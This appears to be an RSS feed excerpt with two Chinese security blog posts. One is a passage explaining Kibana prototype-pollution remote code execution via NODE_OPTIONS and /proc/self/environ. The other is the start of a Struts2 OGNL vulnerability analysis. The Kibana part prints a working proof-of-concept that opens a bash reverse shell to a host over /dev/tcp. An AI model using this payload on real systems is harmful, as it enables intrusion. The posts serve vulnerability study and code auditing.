envPairs.push(`${key}=${value}`);</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">    }</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  }</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;"><br/></span></p><section style="text-align: left;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">简单来说，客户端传入了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">选项，那么就根据客户端的来处理，否则就去获取系统环境变量。</span></span></section><h2 style="text-align: left;margin-bottom: 5px;"><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: Arial;color: rgb(47, 84, 150);">作者核心点</span></strong></span><span style="font-size: 17px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;"></span></strong></span><strong><span style="color: rgb(47, 84, 150);font-size: 15px;font-family: 微软雅黑;"></span></strong></h2><section style="text-align: left;line-height: 2em;margin-bottom: 5px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;font-size: 14px;">在这里我得提一下作者的思路</span></section><p style="text-align: left;line-height: 2em;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;font-size: 14px;">作者在命令行下尝试了</span></p><section style="text-align: left;font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;"><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">NODE_OPTIONS=</span><span style="font-family: Arial;color: rgb(63, 63, 63);">’--require /proc/self/environ’ AAA=’cosole.log(123)//’ node</span></span></section><p style="text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">这是在</span><span style="font-family: Arial;color: rgb(63, 63, 63);">shell</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">里设置了一个</span><span style="font-family: Arial;color: rgb(63, 63, 63);">NODE_OPTIONS</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">的值和</span>AAA<span style="font-family: 微软雅黑;">环境变量，其中</span><span style="font-family: Arial;">NODE_OPTIONS</span><span style="font-family: 微软雅黑;">是可以这么写的，官方允许传递这样的参数，具体的文档在</span></span><span style="font-family: Arial;color: rgb(63, 63, 63);"><a href="http://nodejs.cn/api/cli/node_options_options.html" target="_blank">http://nodejs.cn/api/cli/node_options_options.html</a></span></span></p><section style="text-align: left;line-height: 1.75em;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;font-size: 14px;">内容是</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.25988023952095807" data-s="300,640" style="" data-type="png" data-w="835" src="https://wechat2rss.xlab.app/img-proxy/?k=8ce1f562&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6bIRlQrmJ7BD55YM60WgA0nlI3Jqz73agWFm72RPwbWsib4qtgibmRDnVTcGxECgbQJtF6CQuoFdDA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;letter-spacing: 0px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">作者做这个实验的核心目的就是表达，我在</span><span style="font-family: Arial;color: rgb(63, 63, 63);">shell</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">下传递</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量，</span><span style="font-family: Arial;color: rgb(63, 63, 63);">console.log</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">这个地方就是任意的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">nodejs</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">表达式，包括执行命令的，这个是为了实验。</span></span></section><h2 style="text-align: left;letter-spacing: 0px;margin-top: 5px;margin-bottom: 5px;line-height: normal;"><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: Arial;color: rgb(47, 84, 150);">关于.env和process.env和/proc/self/environ</span></strong></span><span style="font-size: 15px;"><strong style="font-size: 17px;letter-spacing: 0px;"><span style="font-family: Arial;color: rgb(47, 84, 150);"></span></strong></span></h2><section style="text-align: left;letter-spacing: 0px;margin-top: 5px;line-height: normal;margin-bottom: 10px;"><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);font-size: 14px;">官方解释：process 对象是一个 <span style="color: rgb(63, 63, 63);font-family: Arial;">global </span>（全局变量），提供有关信息，控制当前 <span style="color: rgb(63, 63, 63);font-family: Arial;">Node.js </span>进程。该对象表示<span style="color: rgb(63, 63, 63);font-family: Arial;">Node</span>所处的当前进程，允许开发者与该进程互动。打开命令行，输入<span style="color: rgb(63, 63, 63);font-family: Arial;">node</span>，再输入<span style="color: rgb(63, 63, 63);font-family: Arial;">process.env</span>，可以看见<span style="color: rgb(63, 63, 63);font-family: Arial;">process.env</span>是一个对象。这个对象在</span><span style="font-size: 14px;"><span style="font-family: Arial;color: rgb(63, 63, 63);">kibana</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">这里就是有很多属性，我们污染的这个</span>NODE_</span><span style="font-family: Arial;color: rgb(63, 63, 63);">OPTIONS</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">就是这个</span><span style="font-family: Arial;color: rgb(63, 63, 63);">env</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的属性之一，其实还有</span><span style="font-family: Arial;color: rgb(63, 63, 63);">NODE_ENV</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">之类的属性。还有版本之类的</span></span></section><section style="text-align: left;letter-spacing: 0px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">根据子进程创建的逻辑，我们是否可以构造一个恶意的代码来污染原型链，因为代码里写了如果没定义</span><span style="font-family: Arial;color: rgb(63, 63, 63);">process.env</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">就去调用系统的环境变量，而根据</span><span style="font-family: Arial;color: rgb(63, 63, 63);">javascript</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">规则，我们随意设置一个对象的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">_proto_</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">的</span>env<span style="font-family: 微软雅黑;">就可以覆盖掉</span></span><span style="font-family: Arial;color: rgb(63, 63, 63);">process</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">env</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">属性了，这样的话我们可以就定义好了，定义并且赋值就不会</span><span style="font-family: Arial;color: rgb(63, 63, 63);">undefined</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">了。</span></span></section><p style="text-align: left;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">简单的说就是</span><span style="font-family: Arial;color: rgb(63, 63, 63);">object.env</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">下的属性就会被写入到</span><span style="font-family: Arial;color: rgb(63, 63, 63);">/proc/self/environ</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">里。</span></span></p><section style="text-align: left;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);font-size: 14px;">所以poc的下半句是</span></section><p style="text-align: left;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="font-family: AppleSystemUIFont;">.props</span>(<span style="font-family: AppleSystemUIFont;">label.__proto__.env.NODE_OPTIONS=&#39;--require /proc/self/environ&#39;</span>)</span></p><p style="text-align: left;letter-spacing: 0px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">根据作者核心思路</span>“在</span><span style="font-family: Arial;color: rgb(63, 63, 63);">shell</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">下传递</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量</span>”，我们开始尝试使用代码来设置环境变量而不是<span style="font-family: Arial;">shell</span><span style="font-family: 微软雅黑;">。</span></span></span></p><section style="text-align: left;letter-spacing: 0px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">而</span><span style="font-family: Arial;color: rgb(63, 63, 63);">/proc/self/environ</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">就和</span><span style="font-family: Arial;color: rgb(63, 63, 63);">php</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">一样的，如果你设置了进程的环境变量，那么在运行的时候通过</span><span style="font-family: Arial;color: rgb(63, 63, 63);">linux</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">下</span><span style="font-family: Arial;color: rgb(63, 63, 63);">/proc/self/environ</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">可以读取进程的环境变量</span></span><span style="font-size: 15px;color: rgb(63, 63, 63);font-family: 微软雅黑;"></span></section><h2 style="text-align: left;letter-spacing: 0px;"><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: Arial;color: rgb(47, 84, 150);">如何在代码里设置环境变量？</span></strong></span><span style="font-size: 15px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;"></span></strong></span><strong><span style="color: rgb(47, 84, 150);font-size: 15px;font-family: 微软雅黑;"></span></strong></h2><p style="text-align: left;letter-spacing: 0px;margin-bottom: 10px;"><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;">答案是通过原型链污染，我们先污染</span><span style="font-family:Arial;color:rgb(63,63,63);font-size:15px;">object.e</span><span style="font-family:微软雅黑;color:rgb(63,63,63);font-size:15px;">nv<span style="font-family:微软雅黑;">，也就是设置</span></span><span style="font-size: 15px;"><span style="font-family: Arial;color: rgb(63, 63, 63);">label.__proto__.env.NODE_OPTIONS</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，这样的话我们去访问</span><span style="font-family: Arial;color: rgb(63, 63, 63);">process.env.NODE_OPTIONS</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">就是我们设置的值，根据上面</span><span style="font-family: Arial;color: rgb(63, 63, 63);">nodejs</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">核心代码</span><span style="font-family: Arial;color: rgb(63, 63, 63);">child_process.js</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的逻辑，我们传递的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">最终会变成</span><span style="font-family: Arial;color: rgb(63, 63, 63);">s</span></span><span style="font-family:Arial;color:rgb(63,63,63);font-size:15px;">pawn</span><span style="font-family:微软雅黑;color:rgb(63,63,63);font-size:15px;"><span style="font-family:微软雅黑;">的一个参数</span> <span style="font-family:微软雅黑;">，作为环境变量执行。</span></span></p><h2 style="text-align: left;letter-spacing: 0px;"><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: Arial;color: rgb(47, 84, 150);">文件包含获得shell</span></strong></span><span style="font-size: 15px;"><strong><span style="font-family: Arial;color: rgb(47, 84, 150);"></span></strong></span><strong><span style="font-family: Arial;color: rgb(47, 84, 150);font-size: 15px;"></span></strong></h2><p style="text-align: left;text-indent: 0em;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">最后我们通过</span><span style="font-family: AppleSystemUIFont;">label.__proto__.env.NODE_OPTIONS=&#39;--require /proc/self/environ&#39; </span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的设置了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">process.env.NODE_OPTIONS</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">的值，被</span>node<span style="font-family: 微软雅黑;">读取到了，然后根据官方手册里写的，相当于运行了</span></span><span style="font-family: Arial;color: rgb(63, 63, 63);">node --require “xxx.xxx” (</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">就和</span><span style="font-family: Arial;color: rgb(63, 63, 63);">php</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">里的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">includ</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">e</span><span style="font-family: Arial;color: rgb(63, 63, 63);"> </span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">一样，</span>node</span><span style="font-family: Arial;color: rgb(63, 63, 63);"> </span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">require<span style="font-family: 微软雅黑;">的不一定非要是</span></span><span style="font-family: Arial;color: rgb(63, 63, 63);">js</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">文件，就和</span><span style="font-family: Arial;color: rgb(63, 63, 63);">php</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">不一定要是</span><span style="font-family: Arial;color: rgb(63, 63, 63);">php</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">文件一样</span>)</span></span></p><p style="text-align: left;text-indent: 0em;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="font-family: Arial;color: rgb(63, 63, 63);">P</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">oc<span style="font-family: 微软雅黑;">的另外一句话是：</span></span></span></p><p style="text-align: left;text-indent: 0em;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">.es(*).props(label.__proto__.env.AAAA=&#39;require(&#34;child_process&#34;).exec(&#34;bash -i &gt;&amp; /dev/tcp/192.168.0.136/12345 0&gt;&amp;1&#34;);process.exit()//&#39;)</span></p><p style="text-align: left;text-indent: 0em;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">这里的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">AAA</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">也是会被写入到</span><span style="font-family: Arial;color: rgb(63, 63, 63);">/proc/self/environ</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，最后的环境变量应该是</span></span></p><p style="text-align: left;text-indent: 0em;letter-spacing: 0px;margin-bottom: 5px;"><span style="font-size: 14px;"><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">AAA</span><span style="font-family: Arial;color: rgb(63, 63, 63);">= require(&#34;child_process&#34;).exec(&#34;bash -i &gt;&amp; /dev/tcp/192.168.0.136/12345 0&gt;&amp;1&#34;);process.exit()//NODE_OPTIONS=--require /proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&amp;*(*&amp;^%$</span></span></p><section style="text-align: left;text-indent: 0em;letter-spacing: 0px;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">因为</span><span style="font-family: Arial;color: rgb(63, 63, 63);">//</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">是注释，所以后面忽略，然后这个文件被当作</span><span style="font-family: Arial;color: rgb(63, 63, 63);">require</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的参数包含起来了，里面的代码自然就执行了。</span></span><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;"></span></section><section style="text-align: left;text-indent: 0em;letter-spacing: 0px;"><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;"><br/></span></section><h2><span style="font-size: 15px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;">几个重要的知识</span></strong></span><span style="font-size: 17px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;">：</span></strong></span><strong><span style="color: rgb(47, 84, 150);font-size: 15px;font-family: 微软雅黑;"></span></strong></h2><h2 style="text-align: left;margin-bottom: 5px;"><span style="font-size: 15px;"><span style="font-family: 微软雅黑;">1.设置了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">xx.env.aaa</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">的内容会被写入</span><span style="font-family: Arial;color: rgb(63, 63, 63);">/proc/self/environ</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">里，怎么设置？通过原型链</span></span></h2><h2 style="text-align: left;margin-bottom: 5px;"><span style="font-size: 15px;">2.Poc<span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">设置了2个环境变量，一个被注释了</span></span></h2><h2 style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin-bottom: 5px;"><span style="font-size: 15px;">3.NODE_OPTIONS<span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">自node</span><span style="font-family: Arial;color: rgb(63, 63, 63);">V8.0.0</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">后才开始(如果你没成功，那么可以排查下<span style="font-family: Arial;">nodejs</span>的</span></span><span style="font-size: 14px;">版本</span><span style="font-size: 15px;color: rgb(63, 63, 63);font-family: Arial;">)</span></h2><p style="margin-left:72px;"><br/></p><p style="margin-left:72px;text-indent:0;"><br/></p><h2><span style="font-size: 15px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;">其他</span></strong></span><strong><span style="color: rgb(47, 84, 150);font-size: 15px;font-family: 微软雅黑;"></span></strong></h2><p><span style="font-family:微软雅黑;color:rgb(63,63,63);font-size:15px;"> <span style="font-family:微软雅黑;">聪明的你肯定知道</span> <span style="font-family:微软雅黑;">还有其他的办法可以</span>RCE<span style="font-family:微软雅黑;">！可以利用的地方很多，原型链撕开了一个攻击面，而</span></span><span style="font-family:Arial;color:rgb(63,63,63);font-size:15px;">NODE_OPTIONS</span><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;">只是一个点。</span></p><p><br/></p><p><span style="font-family:微软雅黑;color:rgb(63,63,63);font-size:15px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="" data-type="png" data-w="300" src="https://wechat2rss.xlab.app/img-proxy/?k=938add07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4RlHv5xMA9PGiaPYDSHaHeGoOZvjksbQrpnIib0rBQiaf4T8PX2IGuUPdd3StuIp7NQVactXFXEMhlw%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;text-indent: 0em;letter-spacing: 0px;"><br/></section><section style="text-align: left;letter-spacing: 0px;"><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;"><br/></span></section><p><br/></p>



<p><a href="2247483829">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6a358544&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483829%26idx%3D1%26sn%3D31d1e121c9587885a543555a557f4ddd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 Nov 2019 20:46:00 +0800</pubDate>
    </item>
    <item>
      <title>Struts2基于OGNL的RCE漏洞全解析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483820&amp;idx=1&amp;sn=2131a3f44101c7c5d190a889b92a7f9f</link>
      <description>最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线，但我觉得作为曾经红极一时的经典系列RCE漏洞，对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的，</description>
      <content:encoded><![CDATA[<p>
<span>Glassy​</span> <span>2019-10-24 10:49</span> <span style="display: inline-block;"></span>
</p>

<p>最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线，但我觉得作为曾经红极一时的经典系列RCE漏洞，对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的，</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=03722065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z67bOseccmyH1XlWhcibEeN3DXE71UiaE06BPQQjuTPmNwtabLCDoZeNe8O8ChW2T0n2SMAR207EcEg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section class="xmteditor" style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"></section><section data-style-type="2" data-id="1847"><blockquote><section><p>**author:Glassy@平安银行应用安全团队**</p></section></blockquote></section><section class="xmt-style-block" data-style-type="2" data-tools="新媒体排版" data-id="2238"><section class="" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;"><p style="white-space: normal;"><br/></p><section style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;"><section style="font-size: 16px;line-height: normal;white-space: normal;border-width: 0px;border-style: none;border-color: initial;"><section class="layout" style="margin-right: auto;margin-left: auto;"><section style="padding: 2px 10px;"><section style="width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(198, 198, 199);border-radius: 50%;float: left;margin-right: 10px;"><img class="" data-ratio="1" title="1452063791345073452.jpg" data-type="jpeg" data-w="417" style="border-top-left-radius: 50%;border-top-right-radius: 50%;border-bottom-right-radius: 50%;border-bottom-left-radius: 50%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e90f03be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtCSgGxGo5zaqwScYGICWVDhGDriczRWQicYPlzRvPFs2u1KOTrY1CsvfA%2F640%3Fwx_fmt%3Djpeg"/></section><section data-style="clear: none;line-height:17px;padding:0 0;font-size:12px;" style="margin: 5px;"><p style="margin-top: 0px;margin-bottom: 0px;clear: none;font-size: 16px;line-height: 1.5em;"><span class="active" style="color: rgb(250,140,0);"><strong class="title">引言</strong></span></p><p style="margin-top: 0px;margin-bottom: 0px;clear: none;font-size: 12px;line-height: 1.5em;color: rgb(121,121,121);" class="pBrush">     </p></section></section><section style="border-width: initial;border-style: none;border-color: initial;margin: 5px;"><section style="width: 0px;border-bottom-width: 0.6em;border-bottom-style: solid;border-top-color: rgb(198, 198, 199);border-bottom-color: rgb(198, 198, 199);height: 10px;color: inherit;margin-left: 18px;border-left-width: 0.7em !important;border-left-style: solid !important;border-left-color: transparent !important;border-right-width: 0.7em !important;border-right-style: solid !important;border-right-color: transparent !important;"></section><section style="width: 0px;margin-left: 18px;border-bottom-width: 0.6em;border-bottom-style: solid;border-top-color: rgb(254, 254, 254);border-bottom-color: rgb(254, 254, 254);height: 10px;margin-top: -8px;color: inherit;float: left;border-left-width: 0.7em !important;border-left-style: solid !important;border-left-color: transparent !important;border-right-width: 0.7em !important;border-right-style: solid !important;border-right-color: transparent !important;"></section><section style="text-align: center;margin-right: auto;margin-bottom: -2px;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(198, 198, 199);border-radius: 5px;padding: 10px;" class=""><p style="margin-top: 0px;margin-bottom: 0px;border-color: rgb(198, 198, 199);text-align: justify;"><span class="active brush" style="color: rgb(121,121,121);font-family: zuoyeFont_mathFont, &#39;Microsoft Yahei&#39;, 宋体, sans-serif;line-height: 32px;font-size: 14px;">最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线，但我觉得作为曾经红极一时的经典系列RCE漏洞，对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的，所以这篇文章对ST2中由于OGNL造成的RCE漏洞的成因、修复方案一 一作了分析，希望能让各位看官对ST2和OGNL能够有一个深入的认知。</span></p></section></section></section><section style="width: 0px;height: 0px;clear: both;"></section></section><p style="line-height: normal;white-space: normal;"><br/></p></section></section></section><section data-style-type="2" data-id="1847"><section class="KolEditor"><section><section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><section style="color: rgb(240, 84, 84);text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="color: rgb(0, 0, 0);">环境搭建</span></section></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;white-space: normal;"><span style="font-size: 14px;text-align: justify;color:#000;">笔者为了方便调试各个版本的漏洞临时搭建了一个maven的环境，比较拙劣，就不拿出来给各位看官造成困扰，但是在GitHub上我找到了一个[非常棒的ST2各个版本漏洞调试环境](<a href="https://github.com/proudwind/struts2_vulns)，在这里推荐给大家。" target="_blank">https://github.com/proudwind/struts2_vulns)，在这里推荐给大家。</a></span></p></section></section></section></section></section></section></section><p><span style="font-size: 14px;">不过其实为了提升对漏洞的认知，我还是非常建议自己去搭建环境的。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(68, 68, 68);text-align: left;" class="active brush"><span style="font-size: 16px;"></span></p></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">ognl表达式基础</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section></section></section><p><span style="font-size: 14px;">这里直接通过一段实例代码来解释ognl表达式的一些常规使用，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ognl.Ognl;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ognl.OgnlContext;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.HashMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Map;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> User {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> name;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> Integer age;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> User() {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> User(<span class="code-snippet__built_in">String</span> name, Integer age) {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.name = name;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.age = 